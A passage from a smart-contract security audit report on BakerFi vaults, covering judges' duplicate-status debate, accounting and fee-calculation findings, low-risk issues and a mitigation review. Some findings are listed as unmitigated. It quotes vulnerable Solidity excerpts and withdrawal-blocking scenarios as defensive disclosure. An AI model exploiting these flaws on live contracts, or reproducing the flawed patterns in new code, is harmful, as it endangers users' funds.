You can try to enforce the same deposit limit on the router level and give the router unlimited deposit limit
Same root cause different impact. S-2 mitigation would work.
While the finding here is interesting, according to the Supreme Court decisions, this should be a duplicate.
@Dravee - the recommended mitigation in S-2 is absolutely wrong. As I said previously it is a
deposit
limit so taking thebalanceOf
(receiver) does absolutely nothing but limit the amount a single user can “hold”.The correct way to fix S-2 would be to implement some kind of a mapping to account for any deposit and limit the amount
msg.sender
can deposit. This, however, doesn’t solve this finding. The root cause is not the same because here it is shown the interactions between VaultRouter and the Vault and it blocks the VaultRouter from depositing.
0xlemon, I agree. Additionally, making S-15 as primary instead of S-2 due to the wrong mitigation.
- The current implementation of the deposit limit in the system is incorrect. This report is based on the issue that the sponsor implemented an erroneous mitigation measure. Therefore, this issue should be categorized under implementation problems related to the deposit limit. Relevant historical judgments:https://github.com/code-423n4/2024-08-chakra-findings/issues/33
In report s-2, it was mentioned:
“Additionally, considering the whitelist mechanism, if you want to limit the deposit amount for whitelisted addresses, it is recommended to create a mapping to store the deposit amount for each address, rather than checking the
balanceOf
.”This point was not elaborated further because managing the deposit limit mapping is challenging. For example, if an address has a deposit limit of 1000, and it deposits 1000, increasing
depositLimit[addr1]
by 1000. If this address then transfers shares to another addressaddr2
, andaddr2
withdraws, withdepositLimit[addr2] = 0
, how should the deposit limit be deducted? If the deposit limit is not reduced, under the condition that the whitelist is not increased, the total assets in the system will only decrease over time.
shaflow2 - the problem in this issue is that the VaultRouter is the
msg.sender
and since we are limitingmsg.sender
it will get blocked after it reaches the limit. The problem in S-15 is thatbalanceOf
was used to account for the deposit limit. Do you see the difference? In my problem it doesn’t matter how this deposit limit is implemented when it limitsmsg.sender
as it can be seen.For the mapping part first of all it would be highly unlikely for a user to just give (transfer) his tokens away to someone but even if they do why do we need to deduct the limit when transfering? As I said it doesn’t matter how much a single user holds, we only need to make sure he doesn’t deposit more than
maxDepositLocal
MrPotatoMagic (warden) commented:
@Dravee, I agree with klau5 and shaflow2. This issue should not be considered as separate.
According to the SC ruling here, if fixing the root cause (in a reasonable manner) resolves the issue, they’re dups. It is important to focus on the point of fixing the issue in reasonable manner here.
How can the issue actually be mitigated?
- If msg.sender is the router, take in another parameter
routerMsgSender
to thedeposit()
/_depositInternal()
function that stores themsg.sender
of the router contract.- Implement an if check in
deposit()
/_depositInternal()
that whenmsg.sender == router
is true, we utilize the parameterrouterMsgSender
to check the limit as per the method suggested by S-2. I.e., “it is recommended to create a mapping to store the deposit amount for each address”.Both the issues are two sides of the same coin. A universal mitigation as mentioned above resolves both of them.
I’m agreeing with 0xlemon on this one, as reasonably fixing the other issue (by strictly fixing the other issue) would leave this current issue unfixed (unless already aware of this finding, which would be unreasonable).
chefkenji (BakerFi) disputed and commented:
Duplicate issue
Status: Mitigation confirmed. Full details in the report from 0xlemon.
[M-16] StrategySupplyBase.undeploy
does not return the amount of assets actually undeployed, which can cause a withdrawal to fail
Submitted by klau5
Finding description and impact
The StrategySupplyBase.undeploy
function returns the user’s requested amount instead of the actual withdrawn asset amount. When attempting to transfer more tokens than what was actually withdrawn, the transaction will revert, preventing users from withdrawing their tokens.
Proof of Concept
The StrategySupplyBase.undeploy
function should return the actual amount of asset tokens withdrawn. However, it just returns the amount
parameter requested by the user.
function undeploy(uint256 amount) external nonReentrant onlyOwner returns (uint256 undeployedAmount) {
if (amount == 0) revert ZeroAmount();
// Get Balance
uint256 balance = getBalance();
if (amount > balance) revert InsufficientBalance();
// Transfer assets back to caller
@> uint256 withdrawalValue = _undeploy(amount);
// Check withdrawal value matches the initial amount
// Transfer assets to user
@> ERC20(_asset).safeTransfer(msg.sender, withdrawalValue);
balance -= amount;
emit StrategyUndeploy(msg.sender, withdrawalValue);
emit StrategyAmountUpdate(balance);
@> return amount;
}
The actual withdrawn asset amount may not match the user’s requested amount. For example, in StrategySupplyMorpho._undeploy
, if the user requests more assets than what can be withdrawn from Morpho, it will only withdraw the maximum available amount and return that value. However, StrategySupplyBase.undeploy
ignores this and returns the user’s requested amount.
function _undeploy(uint256 amount) internal override returns (uint256) {
Id id = _marketParams.id();
uint256 assetsWithdrawn = 0;
uint256 totalSupplyAssets = _morpho.totalSupplyAssets(id);
uint256 totalSupplyShares = _morpho.totalSupplyShares(id);
uint256 shares = _morpho.supplyShares(id, address(this));
uint256 assetsMax = shares.toAssetsDown(totalSupplyAssets, totalSupplyShares);
@> if (amount >= assetsMax) {
(assetsWithdrawn, ) = _morpho.withdraw(_marketParams, 0, shares, address(this), address(this));
} else {
@> (assetsWithdrawn, ) = _morpho.withdraw(_marketParams, amount, 0, address(this), address(this));
}
@> return assetsWithdrawn;
}
StrategySupplyBase._redeemInternal
assumes that the amount returned by StrategySupplyBase.undeploy
is the actual withdrawn token amount and attempts to transfer this to the user. However, this amount could be larger than what was actually withdrawn. Attempting to transfer more tokens will cause the transaction to revert, preventing users from withdrawing their tokens.
function _redeemInternal(
uint256 shares,
address receiver,
address holder,
bool shouldRedeemETH
) private returns (uint256 retAmount) {
...
@> uint256 amount = _undeploy(withdrawAmount);
...
// Calculate and handle withdrawal fees
if (getWithdrawalFee() != 0 && getFeeReceiver() != address(0)) {
fee = amount.mulDivUp(getWithdrawalFee(), PERCENTAGE_PRECISION);
if (shouldRedeemETH && _asset() == wETHA()) {
unwrapETH(amount);
@> payable(receiver).sendValue(amount - fee);
@> payable(getFeeReceiver()).sendValue(fee);
} else {
@> IERC20Upgradeable(_asset()).transfer(receiver, amount - fee);
@> IERC20Upgradeable(_asset()).transfer(getFeeReceiver(), fee);
}
} else {
if (shouldRedeemETH) {
unwrapETH(amount);
@> payable(receiver).sendValue(amount);
} else {
@> IERC20Upgradeable(_asset()).transfer(receiver, amount);
}
}
emit Withdraw(msg.sender, receiver, holder, amount - fee, shares);
retAmount = amount - fee;
}
Recommended Mitigation Steps
Use the actual amount of asset tokens withdrawn.
function undeploy(uint256 amount) external nonReentrant onlyOwner returns (uint256 undeployedAmount) {
if (amount == 0) revert ZeroAmount();
// Get Balance
uint256 balance = getBalance();
if (amount > balance) revert InsufficientBalance();
// Transfer assets back to caller
uint256 withdrawalValue = _undeploy(amount);
// Check withdrawal value matches the initial amount
// Transfer assets to user
ERC20(_asset).safeTransfer(msg.sender, withdrawalValue);
- balance -= amount;
+ balance -= withdrawalValue;
emit StrategyUndeploy(msg.sender, withdrawalValue);
emit StrategyAmountUpdate(balance);
- return amount;
+ return withdrawalValue;
}
chefkenji (BakerFi) confirmed
Status: Unmitigated. Full details in the report from shaflow2, and also included in the Mitigation Review section below.
Low Risk and Non-Critical Issues
For this audit, 1 report was submitted by a warden detailing low risk and non-critical issues. The report highlighted below by klau5 received the top score from the judge.
[01] Allowance not set to maximum value in enableRoute
Finding description and impact
Allowance not set to maximum value in enableRoute. When tokens are transferred, allowance needs to be updated every time, which can unnecessarily waste gas costs or exhaust the allowance.
Proof of Concept
In enableRoute, approve is set to type(uint256).max - 1
instead of type(uint256).max
. Since the ERC20 allowance is not set to maximum, allowance needs to be updated every time tokens are transferred. This can unnecessarily waste gas costs or exhaust the allowance.
function enableRoute(address tokenIn, address tokenOut, RouteInfo memory routeInfo) external onlyGovernor {
bytes32 key = _key(tokenIn, tokenOut);
// Check if the route is already authorized
if (_routes[key].provider != SwapProvider.NONE) revert RouteAlreadyAuthorized();
// Set the route information
@> if (!IERC20(tokenIn).approve(routeInfo.router, type(uint256).max - 1)) revert FailedToApproveAllowance();
@> if (!IERC20(tokenOut).approve(routeInfo.router, type(uint256).max - 1)) revert FailedToApproveAllowance();
_routes[key] = routeInfo;
}
Recommended Mitigation Steps
Approve with type(uint256).max
.
[02] UseIERC4626.withdrawVault
does not check if vault is address(0)
Proof of Concept
While other functions check if the vault
parameter is address(0)
, UseIERC4626.withdrawVault
does not check if vault
is address(0)
.
function withdrawVault(
IERC4626 vault,
uint256 assets,
address receiver,
address owner
) internal virtual returns (uint256 shares) {
// Call the withdraw function of the vault to withdraw assets
@> shares = vault.withdraw(assets, receiver, owner);
}
function redeemVault(
IERC4626 vault,
uint256 shares,
address receiver,
address owner
) internal virtual returns (uint256 assets) {
// Check if the vault address is valid
@> if (address(vault) == address(0)) revert InvalidVaultAddress();
// Call the redeem function of the vault to redeem shares
assets = vault.redeem(shares, receiver, owner);
}
Recommended Mitigation Steps
The UseIERC4626.withdrawVault
function should revert the transaction if vault is address(0)
.
[03] Wrong event emitted in removeStrategy
Finding description and impact
The RemoveStrategy
event is emitted with an incorrect strategy address.
Proof of Concept
When removing a strategy in MultiStrategy, the last strategy in the array is moved to the position of the strategy being deleted. However, _strategies[lastIndex]
still contains the address of the strategy that was at the last index since it hasn’t been updated to the address of the strategy being deleted. When emitting the event, this incorrect address is used, resulting in an event that indicates the wrong strategy was deleted.
function removeStrategy(uint256 index) external onlyRole(VAULT_MANAGER_ROLE) {
...
// Move the last strategy to the index of the removed strategy to maintain array integrity
uint256 lastIndex = _strategies.length - 1;
if (index < lastIndex) {
@> _strategies[index] = _strategies[lastIndex];
_weights[index] = _weights[lastIndex];
}
@> emit RemoveStrategy(address(_strategies[lastIndex]));
// Remove the last strategy and weight from the arrays
_strategies.pop();
_weights.pop();
}
Recommended Mitigation Steps
Cache the address of the strategy being deleted and use it when emitting the event.
[04] Strategy with different asset token can be registered to MultiStrategyVault
Proof of Concept
While the initialize
of MultiStrategyVault checks if registered strategies have the same asset, it does not check when adding a new strategy through addStrategy
.
function addStrategy(IStrategy strategy) external onlyRole(VAULT_MANAGER_ROLE) {
if (address(strategy) == address(0)) revert InvalidStrategy();
_strategies.push(strategy);
_weights.push(0);
emit AddStrategy(address(strategy));
}
Recommended Mitigation Steps
Check if the asset token of the newly added strategy matches the existing ones in addStrategy
.
[05] Allowance remains when removing Strategy
from MultiStrategyVault
Finding description and impact
The allowance for removed strategies remains at maximum value.
Proof of Concept
When calling MultiStrategy.removeStrategy
to remove a Strategy, the asset token’s allowance given to the strategy is not reset to 0. Therefore, the previously set maximum allowance remains.
Recommended Mitigation Steps
Reset the allowance for the removed Strategy in MultiStrategy.removeStrategy
.
[06] MultiStrategyVault does not check for duplicate when registering new strategies
Finding description and impact
Duplicate strategies can be registered.
Proof of Concept
When registering new strategies in MultiStrategyVault’s initialize
or addStrategy
, there is no check for duplicate strategies.
Recommended Mitigation Steps
Check for duplicate strategies when registering new strategies in initialize
or addStrategy
.
[07] Not using the parsed value actionToExecute
in VaultRouter.dispatch
Finding description and impact
The code uses action
instead of the parsed value actionToExecute
to check the Command.
Proof of Concept
When comparing Commands, it should use actionToExecute
which is the parsed value of the lower 32 bits. However, when checking for Commands.PULL_TOKEN
, it uses action
. While this is implicitly cast, it is not strictly correct.
function dispatch(
uint256 action,
bytes calldata data,
uint256[] memory callStack
) internal override returns (bool success, bytes memory output) {
success = true;
// Extract the action ID from the lowest 32 bits using bitwise AND with mask
@> uint32 actionToExecute = uint32(action & Commands.THIRTY_TWO_BITS_MASK);
// Extract input mapping from bits 32-63 by right shifting 32 bits and masking
uint32 inputMapping = uint16((action >> 32) & Commands.THIRTY_TWO_BITS_MASK);
// Extract output mapping from bits 64-95 by right shifting 64 bits and masking
uint32 outputMapping = uint16(((action >> 64) & Commands.THIRTY_TWO_BITS_MASK));
if (
actionToExecute == Commands.V3_UNISWAP_SWAP ||
actionToExecute == Commands.AERODROME_SWAP ||
actionToExecute == Commands.V2_UNISWAP_SWAP
) {
output = _handleSwap(data, callStack, inputMapping, outputMapping);
@> } else if (action == Commands.PULL_TOKEN) {
output = _handlePullToken(data, callStack, inputMapping);
} else if (actionToExecute == Commands.PULL_TOKEN_FROM) {
output = _handlePullTokenFrom(data, callStack, inputMapping);
} ...
}
Recommended Mitigation Steps
Use actionToExecute
for comparison.
function dispatch(
uint256 action,
bytes calldata data,
uint256[] memory callStack
) internal override returns (bool success, bytes memory output) {
...
if (
actionToExecute == Commands.V3_UNISWAP_SWAP ||
actionToExecute == Commands.AERODROME_SWAP ||
actionToExecute == Commands.V2_UNISWAP_SWAP
) {
output = _handleSwap(data, callStack, inputMapping, outputMapping);
- } else if (action == Commands.PULL_TOKEN) {
+ } else if (actionToExecute == Commands.PULL_TOKEN) {
output = _handlePullToken(data, callStack, inputMapping);
} else if (actionToExecute == Commands.PULL_TOKEN_FROM) {
output = _handlePullTokenFrom(data, callStack, inputMapping);
} ...
}
[08] Unused storage variable _approvedSwapTokens
exists
Finding description and impact
There is an unused storage variable.
Proof of Concept
The _approvedSwapTokens
variable in VaultRouter has no usage. This variable is presumably intended to hold information about swappable tokens, but this is instead handled by the UseUnifiedSwapper contract.
contract VaultRouter is UseUnifiedSwapper, UseTokenActions, UsePermitTransfers, UseIERC4626, UseWETH, MultiCommand {
/// @notice Mapping of approved swap tokens
@> mapping(IERC20 => bool) private _approvedSwapTokens;
Recommended Mitigation Steps
Remove the unnecessary _approvedSwapTokens
variable.
[09] depositNative
, withdrawNative
, redeemNative
functions cannot be called from Router
Finding description and impact
The VaultRouter has no commands to call Vault’s depositNative
, withdrawNative
, and redeemNative
functions, making these functions uncallable.
Proof of Concept
While VaultBase’s deposit and withdrawal functions can only be called by whitelisted addresses, and VaultRouter is expected to be whitelisted, the VaultRouter does not have commands to call Vault’s depositNative
, withdrawNative
, and redeemNative
functions. Therefore, these functions cannot be called in practice.
Recommended Mitigation Steps
Add commands to call depositNative
, withdrawNative
, and redeemNative
functions in VaultRouter.
Mitigation Review
Introduction
Following the C4 audit, 2 wardens (0xlemon and shaflow2) reviewed the mitigations for all identified issues. Additional details can be found within the C4 BakerFi Mitigation Review repository.
Mitigation Review Scope
Out of Scope
All sponsor acknowledged
(wontfix) findings, including:
- M-04: Sending tokens to a Strategy when totalSupply is 0 can permanently make the Vault unavailable
- M-05: Permit doesn’t work with DAI
- M-12: Cannot withdraw tokens from all strategies in MultiStrategyVault when one third party is paused
Mitigation Review Summary
During the mitigation review, wardens determined that 3 in-scope findings were unmitigated. They also surfaced 2 new medium severity findings. The table below provides details regarding the status of each in-scope vulnerability from the original audit, followed by full details on the unmitigated issues, as well as the new issues that were discovered.
Original Issue | Status | Full Details |
---|---|---|
H-01 | Mitigation confirmed | Reports from shaflow2 and 0xlemon |
H-02 | Mitigation confirmed | Reports from 0xlemon and shaflow2 |
H-03 | Mitigation confirmed | Reports from shaflow2 and 0xlemon |
H-04 | Mitigation confirmed | Reports from 0xlemon and shaflow2 |
H-05 | Mitigation confirmed | Reports from 0xlemon and shaflow2 |
H-06 | Mitigation confirmed | Reports from 0xlemon and shaflow2 |
H-07 | Mitigation confirmed | Reports from 0xlemon and shaflow2 |
M-01 | Unmitigated | Report from shaflow2 |
M-02 | Mitigation confirmed | Reports from 0xlemon and shaflow2 |
M-03 | Mitigation confirmed | Reports from 0xlemon and shaflow2 |
M-06 | Mitigation confirmed | Reports from 0xlemon and shaflow2 |
M-07 | Unmitigated | Report from shaflow2 |
M-08 | Mitigation confirmed | Reports from 0xlemon and shaflow2 |
M-09 | Mitigation confirmed | Reports from shaflow2 and 0xlemon |
M-10 | Mitigation confirmed | Reports from 0xlemon and shaflow2 |
M-11 | Mitigation confirmed | Reports from 0xlemon and shaflow2 |
M-13 | Mitigation confirmed | Reports from shaflow2 and 0xlemon |
M-14 | Mitigation confirmed | Reports from 0xlemon and shaflow2 |
M-15 | Mitigation confirmed | Report from 0xlemon |
M-16 | Unmitigated | Report from shaflow2 |
[M-01] Unmitigated
Submitted by shaflow2
Original issue
M-01: https://code4rena.com/evaluate/2024-12-bakerfi-invitational/findings/F-3
Mitigation Issues
- Ineffective final statement in
maxMint
function: The last statement in themaxMint
function has no effect. WhenmaxAssets
equalstype(uint256).max
,maxShares
might incorrectly returntype(uint256).max
, which can lead to unintended behavior.
function maxMint(address receiver) external view override returns (uint256 maxShares) {
uint256 maxAssets = _maxDepositFor(receiver);
maxShares = this.convertToShares(maxAssets);
maxAssets == 0 || maxAssets == type(uint256).max
? maxAssets
: _convertToShares(maxAssets, false);
}
- Lack of special case handling in
maxMint
andmaxDeposit
: ThemaxMint
andmaxDeposit
functions do not account for special conditions within the system. For example, if there is an Aave strategy involved, the functions should consider Aave’s maximum supply cap limits for assets to prevent exceeding protocol constraints.
require(
supplyCap == 0 ||
((IAToken(reserveCache.aTokenAddress).scaledTotalSupply() +
uint256(reserve.accruedToTreasury)).rayMul(reserveCache.nextLiquidityIndex) + amount) <=
supplyCap * (10 ** reserveCache.reserveConfiguration.getDecimals()),
Errors.SUPPLY_CAP_EXCEEDED
);
- Does not account for third-party strategy pauses or asset deposit rejections: The system does not consider situations where third-party strategies are paused or reject asset deposits.
Links to affected code
[M-07] Unmitigated
Submitted by shaflow2
Original issue
M-07: https://code4rena.com/evaluate/2024-12-bakerfi-invitational/findings/F-16
Mitigation issue
The mitigation measures described in the report were not successfully implemented. The receiver only needs to transfer out the shares, and they can continue minting.
function _maxDepositFor(address receiver) internal view returns (uint256) {
uint256 maxDepositLocal = getMaxDeposit();
uint256 depositInAssets = _convertToAssets(balanceOf(receiver), false);
if (paused()) return 0;
if (maxDepositLocal > 0) {
return depositInAssets > maxDepositLocal ? 0 : maxDepositLocal - depositInAssets;
}
return type(uint256).max;
}
The report suggests creating a mapping for each whitelisted receiver to store the deposit amount. This approach should be implemented accordingly.
Links to affected code
[M-16] Unmitigated
Submitted by shaflow2
Original issue
M-16: https://code4rena.com/evaluate/2024-12-bakerfi-invitational/findings/F-43
Mitigation issue
The function will return the actual amount of tokens withdrawn, which has been fixed. However, the balance value calculation is incorrect, causing the contract to emit events with incorrect parameters.
// Check withdrawal value matches the initial amount
// Transfer assets to user
ERC20(_asset).safeTransfer(msg.sender, withdrawalValue);
balance -= amount;
emit StrategyUndeploy(msg.sender, withdrawalValue);
emit StrategyAmountUpdate(balance);
The actual remaining balance should be balance - withdrawalValue
, where withdrawalValue
is the actual amount of tokens withdrawn.
Warden noted that balance is still substracting amount instead of
withdrawalValue
, which means the mitigation is incomplete. The original issue is indeed fixed though.
Setting _performanceFee
will result in inaccurate fees calculation
Submitted by 0xlemon
Severity: Medium
Vulnerability details
The ADMIN_ROLE
can set a new performance fee or enable/disable it; which will be used when calculating the fees for the protocol in _harvestAndMintFees
. The VaultSettings::setPerformanceFee()
function doesn’t call the harvest function, which would lead to the newly set performance fee to be used for calculation of previous rewards.
We can see the function for setting a fee:
In VaultSettings.sol
:
function setPerformanceFee(uint256 fee) external onlyRole(ADMIN_ROLE) {
if (fee >= PERCENTAGE_PRECISION) revert InvalidPercentage();
_performanceFee = fee;
emit PerformanceFeeChanged(_performanceFee);
}
This performance fee is later used in VaultBase::_harvestAndMintFees
:
function _harvestAndMintFees() internal {
uint256 currentPosition = _totalAssets();
if (currentPosition == 0) {
return;
}
int256 balanceChange = _harvest();
if (balanceChange > 0) {
address feeReceiver = getFeeReceiver();
@-> uint256 performanceFee = getPerformanceFee();
if (feeReceiver != address(this) && feeReceiver != address(0) && performanceFee > 0) {
uint256 feeInEth = uint256(balanceChange) * performanceFee;
uint256 sharesToMint = feeInEth.mulDivUp(
totalSupply(),
currentPosition * PERCENTAGE_PRECISION
);
_mint(feeReceiver, sharesToMint);
}
}
}
Consider the following scenario:
- The default performance fee is 1% and the vault currently has 1000 tokens and 100 tokens accrued interest that hasn’t been applied yet because the
_harvestAndMintFees
hasn’t been called yet. - The admin sets this performance fee to 10%.
- Now the
VAULT_MANAGER_ROLE
callsVault::rebalance
that calls the harvest of the strategy and when calculating the performance fee it will beperformanceFee = 10% * 100 tokens = 10 tokens
.
In this case users lose funds and didn’t agree to stake when the performance fee is 10%.
The opposite scenario can happen as well. For example, considering the above scenario, if the admin disables the performance fee, no fees will be minted for the protocol causing a loss for the protocol.
Impact
Accrued fees will be incorrectly calculated.
Recommended mitigation steps
Override the setPerformanceFee
function in VaultBase
and call _harvestAndMintFees()
before setting the new performance fee.
Links to affected code
In StrategySupplyBase::undeploy()
subtracting the withdrawalValue
from _deployedAmount
might lead to an underflow
Submitted by 0xlemon
Severity: Medium
Vulnerability Details
In StrategySupplyBase::undeploy()
subtracting the withdrawalValue
from _deployedAmount
might lead to an underflow because the _deployedAmount
variable doesn’t account for the latest accrued interest and, therefore, can be lower than the amount a user is trying to withdraw.
By introducing the following line the protocol correctly mitigated the original issue; however, a new problem has appeared:
function undeploy(
uint256 amount
) external nonReentrant onlyOwner returns (uint256 undeployedAmount) {
if (amount == 0) revert ZeroAmount();
// Get Balance
uint256 balance = getBalance();
if (amount > balance) revert InsufficientBalance();
// Transfer assets back to caller
uint256 withdrawalValue = _undeploy(amount);
// Update the deployed amount
@-> _deployedAmount -= withdrawalValue;
//...
}
This _deployedAmount
gets updated when a harvest is called so that it accounts for the latest accrued interest. However, since we do not call the harvest function before withdrawing/redeeming, the withdrawalValue
can be higher than the _deployedAmount
, which would result in reverting the withdrawal transaction.
Consider the following case:
- Bob deposits 100 tokens to the vault that immediately get deployed to the strategy of the vault and now
_deployedAmount
= 100 tokens. - After some time these deposited tokens accrue interest and now let’s say the interest is 2 tokens so in the strategy we have 102 tokens in total.
- The protocol calls
_harvestAndMintFees
which updates the_deployedAmount
= 102 tokens and mints performance fees. - After some more time these tokens accrue 3 more tokens so now in total we have 105 tokens.
- Bob calls
Vault::withdraw
(105 tokens) which would try to undeploy 105 tokens from the strategy. SincegetBalance()
of the strategy is 105 tokens it should be possible for Bob to withdraw that amount. However, since the_deployedAmount
isn’t updated we get 102 tokens - 105 tokens which would underflow and revert the transaction.
We can see how a case can occur where a user cannot withdraw his tokens.
Impact
Temporary DoS and stuck funds until _harvestAndMintFees
is called.
Recommended mitigation steps
_harvestAndMintFees
should be called before withdrawing/redeeming from a vault.
Links to affected code
Disclosures
C4 is an open organization governed by participants in the community.
C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.
C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.